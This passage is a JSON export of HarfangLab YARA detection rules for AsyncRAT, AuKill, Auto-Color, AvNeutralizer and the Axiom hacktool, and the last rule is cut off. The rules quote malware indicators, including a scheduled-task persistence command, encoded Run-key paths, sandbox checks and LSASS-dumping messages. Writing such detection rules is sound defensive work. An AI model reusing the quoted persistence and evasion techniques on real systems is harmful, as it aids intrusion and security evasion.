+  "hl_testing_start_time": "2026-03-23T11:46:25.574621Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp"
+  ],
+  "name": "asyncrat_client.yar",
+  "content": "rule asyncrat_client {\n    meta:\n        title = \"AsyncRAT Client\"\n        id = \"bbee809d-fbdd-4111-98a8-e6e82c9b9568\"\n        description = \"Detects AsyncRAT, a C2 server used in the later stages of an infection chain.\\nAsyncRAT is an open-source C#-based Command and Control (C2) server designed for remote control and persistence. It operates as the final component in an attack chain, enabling the C2 server to inject and execute DLLs on infected hosts. The tool is highly modular, allowing for various functionality extensions and making it a versatile tool for attackers to maintain persistence and control over targeted systems.\"\n        references = \"https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp\"\n        date = \"2022-08-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Malware.AsyncRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3923d390ce9e9f25b701c36cd2ad09d1a6fd9aac839ef39864bc6bc2189bf72a\n        // 1a183559d511fb7383bb0f6c6bb81908fe8ee7c85691c453b912330decf9a173\n        // a7a86f886a367edb3bb30013d45582babf374a941ef6483f0da25521ecef42d1\n        // 2c06631f853bf622282e91a3d6d956acd80927ab852ebbf2d184d57bd5ad8fac\n        // decb60e843db591af3533ce9e0da58b1da2684812a8de39fc41b2f5b9558e01c\n        // 2d1eb4ad0856042a8d93b994b2e7ef1768f1a18543ab97fa0b5b827d10f3d6f6\n        // 874f3f1d0b2d9a3fdfc9ad54c0921804b7a87923b873a16f61866218317260f2\n        // 6ee6f6ca6935e41ea481c761c4b298c24fdd2ef0d6244f1950dc32b3a7242fa1\n        // 22d72a90b85041dca93d9dfb29f0bc1b81199db878b34769045d2e20b37cb767\n        // e962f84f34cb3a20687104d64a16a021978b2e6868095e51173d237dd2cebb20\n        // f540cfbd7cba449ab8514a3f808a8e03c1f35516fe95ee4e6f32ff5064622e87\n        // 185083f395279abd7ed57512954fc99641a3e0275b71b7c74c0810b2eea5f7e8\n        // 87dcd1b85431613cb0c6a8937a79a043ae5c46e08022f9d3f59a105855adc1b6\n        // 691277c90510db997e479b3e56360c0c36e891ade4004df4fa1b85d1dd5a9122\n        // 5cdc6ad4ef4e82c8926e74345d5feb5e6bc509917531c8f1a4e9846742d429bf\n        // 6a4de29a2b535265b7fe6321aa095f5a45c0f8de6312c451dfb5734c122f78bd\n        // b00124c98b204084146ded1f54f3389037da12ea5f7b1c0ba88146b40d4d3f29\n        // acf1cf1bced5d3d9bf5f08e9a64a79a6430920b60d10a9596c7649cbe9d24d77\n        // 9e97eebefc36370e23615267e6a33cdb9edb241be4914e24ad4791bda6f1e595\n        // 6f105d359fe32edd24c3e5a441f3f8d3f4be7fad856ce7b0e606e9e18b742024\n        // a449420bc7abe1d650d2b39bf49da6de900ef4d7d014e72223f8585a31accb0e\n        // a875d01bc2a764c2f7d850ef0a0b25a3586f9b7cda2968d2c2d9eb7c0eab0763\n\n        $str1 = \"\\\"' & exit\" fullword wide\n        $str2 = \"timeout 3 > NUL\" fullword wide\n        $str3 = \"\\\\root\\\\SecurityCenter2\" fullword wide\n        $str4 = \"masterKey can not be null or empty.\" fullword wide\n        $str5 = \"{0:X2}\" fullword wide\n        $str6 = \"(ext8,ext16,ex32) type $c7,$c8,$c9\" fullword wide\n\n        $s1 = \"\\\\nuR\\\\noisreVtnerruC\\\\swodniW\\\\tfosorciM\\\\erawtfoS\" fullword wide\n        $s2 = \"U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==\" fullword wide\n        $s3 = \"/c schtasks /create /f /sc onlogon /rl highest /tn \\\"\" fullword wide\n        $s4 = \"L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g\" fullword wide\n        $s5 = \"Select * from Win32_ComputerSystem\" fullword wide\n        $s6 = \"Select * from Win32_CacheMemory\" fullword wide\n        $s7 = \"Select * from AntivirusProduct\" fullword wide\n        $s8 = \"Pastebin\" fullword wide\n        $s9 = \"Paste_bin\" fullword wide\n        $s10 = \"\\\\root\\\\SecurityCenter2\" fullword wide\n\n        $anti_analysis_str_1 = \"VirtualBox\" fullword wide\n        $anti_analysis_str_2 = \"SbieDll.dll\" fullword wide\n        $anti_analysis_str_3 = \"vmware\" fullword wide\n        $anti_analysis_str_4 = \"ProcessHacker.exe\" fullword wide\n        $anti_analysis_str_5 = \"NisSrv.exe\" fullword wide\n\n    condition:\n        all of ($str*) or\n        (5 of ($s*) and 1 of ($anti_analysis_str_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "asyncrat_client"
+  ],
+  "rule_creation_date": "2022-08-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.AsyncRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-aukill_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567759Z",
+  "creation_date": "2026-03-23T11:46:25.567761Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567766Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/"
+  ],
+  "name": "aukill.yar",
+  "content": "rule aukill {\n    meta:\n        title = \"AuKill HackTool\"\n        id = \"3ed03295-dec5-4c12-9836-3369f33a6c70\"\n        description = \"Detects AuKill, a defense solution killer that terminates security solutions' processes and services.\\nAuKill exploits a vulnerable driver from Process Explorer to neutralize EDR products and other security tools by terminating their processes and services, and unloading their drivers.\\nThis allows the malware to maintain persistence and evade detection.\"\n        references = \"https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/\"\n        date = \"2023-04-24\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1134.001;attack.t1068;attack.defense_evasion;attack.t1014\"\n        classification = \"Windows.HackTool.AuKill\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1934b4641ca540ac4fd39c37e6f8b6878ddf111b5c8eb2de26c842cb6bd7b9b8\n        // 08a248de098e0f9edec425ce37d13c827eaf4c54c93182f4ddf1c5b3801cf540\n\n        $s1 = \"\\\\x64\\\\Release\\\\ProcExpDriver.pdb\" ascii\n        $s2 = \"[-] NtLoadDriver: 0x%X\" ascii\n        $s3 = \"[*] Found PID: 0x%X\" ascii\n        $s4 = \"[!] OpenProcess failed (winlogon.exe): %d\" ascii\n        $s5 = \"[!] OpenProcessToken failed (winlogon.exe): %d\" ascii\n        $s6 = \"[!] DuplicateTokenEx failed (winlogon.exe): %d\" ascii\n        $s7 = \"[!] ImpersonateLoggedOnUser failed: %d\" ascii\n        $s8 = \"OpenSCManager failed: %d\" ascii\n        $s9 = \"OpenService failed: %d\" ascii\n        $s10 = \"StartService failed: %d\" ascii\n        $s11 = \"QueryServiceStatusEx failed: %d\" ascii\n        $s12 = \"[+] Killing process <%s>...\" ascii wide\n        $s13 = \"[i] Extracting the driver to %ws\" ascii wide\n        $s14 = \"[-] Could not load driver %s may be loaded\" ascii wide\n        $s15 = \"[+] Driver %s loaded successfully\" ascii wide\n        $s16 = \"[-] NoConnectTo %s Device\" ascii wide\n        $s17 = \"\\\\DosDevices\\\\PROCEXP152\" ascii wide\n        $s18 = \"\\\\Device\\\\PROCEXP152\" ascii wide\n        $s19 = \"\\\\\\\\.\\\\PROCEXP152\" ascii\n        $s20 = \"[!] OpenProcess failed (TrustedInstaller.exe): %d\" ascii\n        $s21 = \"[!] OpenProcessToken failed (TrustedInstaller.exe): %d\" ascii\n        $s22 = \"[!] DuplicateTokenEx failed (TrustedInstaller.exe): %d\" ascii\n\n    condition:\n        8 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "aukill"
+  ],
+  "rule_creation_date": "2023-04-24",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.AuKill"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134.001",
+    "attack.t1014",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-auto-color_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564480Z",
+  "creation_date": "2026-03-23T11:46:25.564482Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564487Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/"
+  ],
+  "name": "auto-color.yar",
+  "content": "rule autocolor_backdoor {\n    meta:\n        title = \"Auto-Color Backdoor\"\n        id = \"82f7f169-692a-462d-bb77-1fec77f152ab\"\n        description = \"Detects the Auto-Color Linux backdoor, which uses sophisticated evasion techniques, including renaming itself with benign file names and deploying a malicious library to hide network activity and prevent uninstallation.\\nThis backdoor allows remote access to infected systems while making detection and removal difficult.\\nIt is recommended to investigate actions that were performed by the related process.\"\n        references = \"https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/\"\n        date = \"2025-03-11\"\n        modified = \"2025-03-14\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1574;attack.defense_evasion;attack.t1140;attack.command_and_control;attack.t1071.001\"\n        classification = \"Linux.Backdoor.AutoColor\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 65c3946a4831df02b69e7c3528f33030b4503049786a0af3f30783bb0de60cce\n        // 815b74947d3a78a1b7d2aece43596ddc0ffc264e26092f1f9b6409c62e1437d6\n        // a492f6d4183a8809c69e415be5d241f227f6b6a56e0ab43738fd36e435116aa0\n        // a57b1039aedbcdd7883f575ce02317949bc4c1aeabba17cbc7e8ba419ded0f13\n        // 2c79f0ad407a5adf490e510b75ca197daa1f61031457929c41317154dc599705\n        // d4a1186387072207607684a016af05804a9f1ce90c987c80827b2d5223bddc9e\n\n        // generic strings\n        $s1 = \"dladdr\" fullword ascii\n        $s2 = \"/etc/ld.so.preload.xxx\" fullword ascii\n\n        // specific strings for initial payload\n        $s5 = \"/proc/%d\" fullword ascii\n        $s6 = \"/door-%d.log\" fullword ascii\n        $s7 = \"%s memory dump %d bytes...\" fullword ascii\n\n        // specific strings for evasive library\n        $s8 = \"/var/log/cross\" fullword ascii\n        $s9 = \"-flush\" fullword ascii\n        $s10 = \"/proc/self/fd/%d\" fullword ascii\n\n        // initial payload\n        // decrypt_string()\n        $x1 = {\n            48 01 D0                                // add     rax, rdx\n            0F B6 00                                // movzx   eax, byte ptr [rax]\n            83 C0 7B                                // add     eax, 7Bh\n            83 F0 1F                                // xor     eax, 1Fh\n            83 E8 7B                                // sub     eax, 7Bh\n            89 C2                                   // mov     edx, eax\n        }\n\n        $x2 = {\n            C1 EA 13                                // shr     edx, 13h\n            29 D0                                   // sub     eax, edx\n            89 C2                                   // mov     edx, eax\n            8B 45 EC                                // mov     eax, [rbp+var_14]\n            C1 E8 0B                                // shr     eax, 0Bh\n            31 D0                                   // xor     eax, edx\n            89 C6                                   // mov     esi, eax\n            8B 45 EC                                // mov     eax, [rbp+var_14]\n            C1 E8 03                                // shr     eax, 3\n            89 C1                                   // mov     ecx, eax\n            8B 45 FC                                // mov     eax, [rbp+var_4]\n            48 63 D0                                // movsxd  rdx, eax\n            48 8B 45 D8                             // mov     rax, [rbp+var_28]\n            48 01 D0                                // add     rax, rdx\n            29 CE                                   // sub     esi, ecx\n            89 F2                                   // mov     edx, esi\n            88 10                                   // mov     [rax], dl\n        }\n\n        // evasive library\n        $x3 = {\n            48 BA 73 6F 2E 70 72 65 6C 6F           // mov     rdx, 6F6C6572702E6F73h\n            48 33 54 24 08                          // xor     rdx, [rsp+1028h+var_1020]\n            48 B8 2F 65 74 63 2F 6C 64 2E           // mov     rax, 2E646C2F6374652Fh\n            48 33 04 24                             // xor     rax, [rsp+1028h+var_1028]\n            48 09 C2                                // or      rdx, rax\n            74 ??                                   // jz      short loc_5B60\n        }\n\n        $x4 = {\n            89 C1                                   // mov     ecx, eax\n            48 8D 35 ?? ?? ?? ??                    // lea     rsi, byte_B260\n            C1 E9 10                                // shr     ecx, 10h\n            A9 80 80 00 00                          // test    eax, 8080h\n            0F 44 C1                                // cmovz   eax, ecx\n            48 8D 4A 02                             // lea     rcx, [rdx+2]\n            48 0F 44 D1                             // cmovz   rdx, rcx\n            89 C1                                   // mov     ecx, eax\n            00 C1                                   // add     cl, al\n            48 83 DA 03                             // sbb     rdx, 3\n            48 29 FA                                // sub     rdx, rdi\n            0F 84 5A FF FF FF                       // jz      loc_4299\n        }\n\n    condition:\n        uint16(0) == 0x457f and (5 of ($s*) or 1 of ($x*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "autocolor_backdoor"
+  ],
+  "rule_creation_date": "2025-03-11",
+  "rule_modified_date": "2025-03-14",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Backdoor.AutoColor"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1574"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-avneutralizer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571439Z",
+  "creation_date": "2026-03-23T11:46:25.571442Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571447Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/"
+  ],
+  "name": "avneutralizer.yar",
+  "content": "rule avneutralizer {\n    meta:\n        title = \"AvNeutralizer HackTool\"\n        id = \"3572939c-4613-4486-a64d-7c15f66f8b3a\"\n        description = \"Detects AvNeutralizer (aka AuKill), an EDR killer tool developed by FIN7.\\nIt uses vulnerable Process Explorer and TTD drivers to terminate security products from Kernel-mode.\"\n        references = \"https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/\"\n        date = \"2024-07-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1134.001;attack.t1068;attack.defense_evasion;attack.t1014\"\n        classification = \"Windows.HackTool.AvNeutralizer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 64b6f85b70d888a1f451ca2486fa09f51e8b7299ea56fd26e5a64fef93604b7f\n        // 79ae0f11b8c158a19a7e7f7d8ed8791e5f314b74ce5d1e3e10c382ff350d3a62\n        // c20faaf0713f35d7d707e4ce72142eef11bfa53ad33e61f1ab072e6a7ca9b81e\n        // 08a248de098e0f9edec425ce37d13c827eaf4c54c93182f4ddf1c5b3801cf540\n        // 1934b4641ca540ac4fd39c37e6f8b6878ddf111b5c8eb2de26c842cb6bd7b9b8\n        // 5846f4648919bad0da9c0a63ec1086d3c2362f50a533de61f323f8d0198ee9ed\n\n        $s_common_stub_01 = {\n            // Init buffer DeviceIoControl function\n            0f b7 [1-6]                 // movzx   ebx, dx\n            8b [1-6]                    // mov     edi, ecx\n            e8 [1-6]                    // call    sub_140002d80\n            4? 8b [1-6]                 // mov     r9, rax\n            4? 33 [1-6]                 // xor     r8d, r8d  {0x0}\n            4? 89 [1-6]                 // mov     dword [rsp+0x20 {var_28_1}], r8d\n            4? 3b [1-6]                 // cmp     r8d, dword [r9]\n            73 [1-6]                    // jae     0x140002eaa\n            4? 8d [1-6]                 // lea     rdx, [r8+r8*2]\n            4? 0f 10 [1-6]              // movups  xmm1, xmmword [r9+rdx*8+0x8]\n            0f 11 [1-6]                 // movups  xmmword [rsp+0x28 {var_20_1}], xmm1\n            f2 4? 0f 10 [1-6]           // movsd   xmm0, qword [r9+rdx*8+0x18]\n            f2 0f 11 [1-6]              // movsd   qword [rsp+0x38 {var_10_1}], xmm0\n            66 0f 7e [1-6]              // movd    eax, xmm1\n            3b ??                       // cmp     eax, edi\n            75 ??                       // jne     0x140002ea5\n            4? 8b [1-6]                 // mov     rax, qword [rsp+0x28 {var_20_1}]\n            4? c1 ?? 30                 // shr     rax, 0x30\n            [0-1] 3b [1-6]              // cmp     ax, bx\n            75 ??                       // jne     0x140002ea5\n            4? 8b c9                    // mov     rcx, r9\n            e8 [1-6]                    // call    sub_140002e20\n            4? 8b [1-6]                 // mov     rax, qword [rsp+0x30 {var_20_1+0x8}]\n            eb ??                       // jmp     0x140002ec3\n            4? ff [1-6]                 // inc     r8d\n            eb ??                       // jmp     0x140002e5a\n            4? 8b [1-6]                 // mov     rcx, r9\n            e8 [1-6]                    // call    sub_140002e20\n            eb                          // jmp     0x140002ec1\n        }\n        $s_common_stub_02 = {\n            // Call functions to get SeLoadDriverPrivilege and create service\n            4? 8d [3-6]                 // lea     rax, [rsp+0x28 {s}]\n            4? 8b [1-4]                 // mov     rdi, rax {s}\n            33 ??                       // xor     eax, eax  {0x0}\n            b9 10 00 00 00              // mov     ecx, 0x10\n            f3 aa                       // rep stosb byte [rdi] {var_450} {s}  {0x0}\n            4? 8d [3-6]                 // lea     rax, [rsp+0x40 {var_428}]\n            4? 8b [1-4]                 // mov     rdi, rax {var_428}\n            33 ??                       // xor     eax, eax  {0x0}\n            b9 08 02 00 00              // mov     ecx, 0x208\n            f3 aa                       // rep stosb byte [rdi] {var_630} {var_428}  {0x0}\n            4? 8d [6-10]                // lea     rax, [rsp+0x250 {s_1}]\n            4? 8b [1-4]                 // mov     rdi, rax {s_1}\n            33 ??                       // xor     eax, eax  {0x0}\n            b9 08 02 00 00              // mov     ecx, 0x208\n            f3 aa                       // rep stosb byte [rdi] {var_420} {s_1}  {0x0}\n            4? 8d [4-6]                 // lea     rcx, [rel data_140005600]  {u\"SeLoadDriverPrivilege\"}\n            e8 [2-6]                    // call    sub_140004be0\n            85 ??                       // test    eax, eax\n            75                          // jne     0x140001d4f\n        }\n        $s_common_stub_03 = {\n            // Create service function\n            4? c7 [3] 00 00 00 00           // mov     qword [rsp+0x58 {var_450}], 0x0\n            4? 8d [4-6]                     // lea     rax, [rsp+0x290 {var_218}]\n            4? 8b [1-4]                     // mov     rdi, rax {var_218}\n            33 ??                           // xor     eax, eax  {0x0}\n            b9 08 02 00 00                  // mov     ecx, 0x208\n            f3 aa                           // rep stosb byte [rdi] {var_420} {var_218}  {0x0}\n            4? 8d [4-6]                     // lea     rax, [rsp+0x80 {var_428}]\n            4? 8b [1-4]                     // mov     rdi, rax {var_428}\n            33 ??                           // xor     eax, eax  {0x0}\n            b9 08 02 00 00                  // mov     ecx, 0x208\n            f3 aa                           // rep stosb byte [rdi] {var_630} {var_428}  {0x0}\n            c7 [3] ff ff ff ff              // mov     dword [rsp+0x50 {var_458}], 0xffffffff  {0xffffffff}\n            c7 [3] 00 00 00 00              // mov     dword [rsp+0x54 {var_454}], 0x0\n            c7 [3] 00 00 00 00              // mov     dword [rsp+0x68 {lpdwDisposition}], 0x0\n            4? 8b [4-6]                     // mov     r8, qword [rsp+0x4b8 {arg_10}]\n            4? 8d [4-6]                     // lea     rdx, [rel data_1400054c0]  {u\"System\\CurrentControlSet\\Service…\"}\n            4? 8d [4-6]                     // lea     rcx, [rsp+0x290 {var_218}]\n            ff [4-6]                        // call    qword [rel wsprintfW]\n            4? 8b [4-6]                     // mov     r9, qword [rsp+0x4b0 {arg_8}]\n            4? 8d [4-6]                     // lea     r8, [rel data_140005510]  {u\"\\??\\\"}\n            4? 8d [4-6]                     // lea     rdx, [rel data_140005520]  {u\"%ws%ws\"}\n            4? 8d [4-6]                     // lea     rcx, [rsp+0x80 {var_428}]\n            ff [4-6]                        // call    qword [rel wsprintfW]\n            4? 8d [3-6]                     // lea     rax, [rsp+0x68 {lpdwDisposition}]\n            4? 89 [3-6]                     // mov     qword [rsp+0x40 {var_468}], rax {lpdwDisposition}\n            4? 8d [3-6]                     // lea     rax, [rsp+0x58 {var_450}]\n            4? 89 [3-6]                     // mov     qword [rsp+0x38 {var_470}], rax {var_450}\n            4? c7 [3] 00 00 00 00           // mov     qword [rsp+0x30 {var_478}], 0x0\n            c7 44 [2] 3f 00 0f 00           // mov     dword [rsp+0x28 {var_480}], 0xf003f\n            c7 44 [2] 00 00 00 00           // mov     dword [rsp+0x20 {lpData}], 0x0\n            4? 33 ??                        // xor     r9d, r9d  {0x0}\n            4? 33 ??                        // xor     r8d, r8d  {0x0}\n            4? 8d [4-6]                     // lea     rdx, [rsp+0x290 {var_218}]\n            4? c7 ?? 02 00 00 80            // mov     rcx, 0xffffffff80000002\n            ff [4-6]                        // call    qword [rel RegCreateKeyExW]\n            89 [3-6]                        // mov     dword [rsp+0x50 {var_458_1}], eax\n            83 [1-3] 00                     // cmp     dword [rsp+0x50 {var_458_1}], 0x0\n            74                              // je      0x140003536\n        }\n    condition:\n        1 of ($s_common_stub*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "avneutralizer"
+  ],
+  "rule_creation_date": "2024-07-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.AvNeutralizer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134.001",
+    "attack.t1014",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-axiom_hacktool_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571781Z",
+  "creation_date": "2026-03-23T11:46:25.571784Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571789Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mallo-m"
+  ],
+  "name": "axiom_hacktool.yar",
+  "content": "rule axiom_hacktool {\n    meta:\n        title = \"Axiom HackTool\"\n        id = \"567c4075-0b0f-4d95-b5e1-aac09137f7ba\"\n        description = \"Detects the Axiom tools.\\nThese tools are used for malicious activities like dumping LSASS memory or loading shellcode using different techniques to avoid being detected by security tools such as EDRs.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://github.com/mallo-m\"\n        date = \"2025-03-26\"\n        modified = \"2025-07-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.privilege_escalation;attack.t1134;attack.t1055\"\n        classification = \"Windows.HackTool.Axiom\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6c6a813ab77b186386b2e17c50a95fa971aa3baa3fd0cb4ea83bcf27b3a04d2c\n        // 7d2337dff8f058cf2ef1f17d96050ebc69185a6f9f322da021bb6e44b965afbd\n\n        $string1  = \"[FAILURE] Bruh\" ascii fullword\n        $string2  = \"[FAILURE] Trying a new duplication\" ascii fullword\n        $string3  = \"[FAILURE] No more duplication to try, exploit failed :(\" ascii fullword\n        $string4  = \"HellsTable init failure\" ascii fullword\n        $string5  = \"Malloc failure on new table entry\" ascii fullword\n        $string6  = \"AddsToTable malloc failure\" ascii fullword\n        $string7  = \"GetImageExportDirectory init failure\" ascii fullword\n        $string8  = \"[FAILURE] Too many memory ranges\" ascii fullword\n        $string9  = \"[FAILURE] Reading LDR addrss failed\" ascii fullword\n        $string10 = \"[FAILURE] Reading LDR base name\" ascii fullword\n        $string11 = \"[FAILURE] Reading LDR pointer failed\" ascii fullword\n        $string12 = \"[FAILURE] Failed to write the ModuleListStream\" ascii fullword\n        $string13 = \"[SYSTEM] Retrieving shellcode...\" ascii fullword\n        $string14 = \"[SHENANIGANS] Copying bytes to memory region\" ascii fullword\n        $string15 = \"[DUPLICATOR] Looping through all system handles\" ascii fullword\n        $string16 = \"[DUPLICATOR] QuerySysInfo success\" ascii fullword\n        $string17 = \"[DUPLICATOR] Handle opened towards a Process object: \" ascii fullword\n        $string18 = \"[DUPLICATOR] Duplicated HANDLE pointer: 0x%p\" ascii fullword\n        $string19 = \"[EXTRACTOR] All snapshots prerequisites ok, extracting memory...\" ascii fullword\n        $string20 = \"[EXTRACTOR] Getting memory ranges to dump\" ascii fullword\n        $string21 = \"[EXTRACTOR] Enumearted %ld ranges of memory\" ascii fullword\n        $string22 = \"[EXTRACTOR] Reading LDR address from memory success\" ascii fullword\n        $string23 = \"[EXTRACTOR] Module list address parsed: 0x%p\" ascii fullword\n        $string24 = \"[EXTRACTOR] Reading modules head pointer 